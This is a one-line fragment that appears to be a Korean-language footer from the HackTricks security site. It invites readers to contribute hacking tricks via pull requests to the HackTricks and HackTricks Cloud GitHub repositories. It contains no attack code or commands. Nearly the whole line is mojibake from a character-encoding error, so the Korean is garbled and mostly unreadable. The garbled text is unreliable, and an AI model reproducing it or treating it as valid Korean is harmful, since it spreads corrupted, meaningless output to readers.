- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


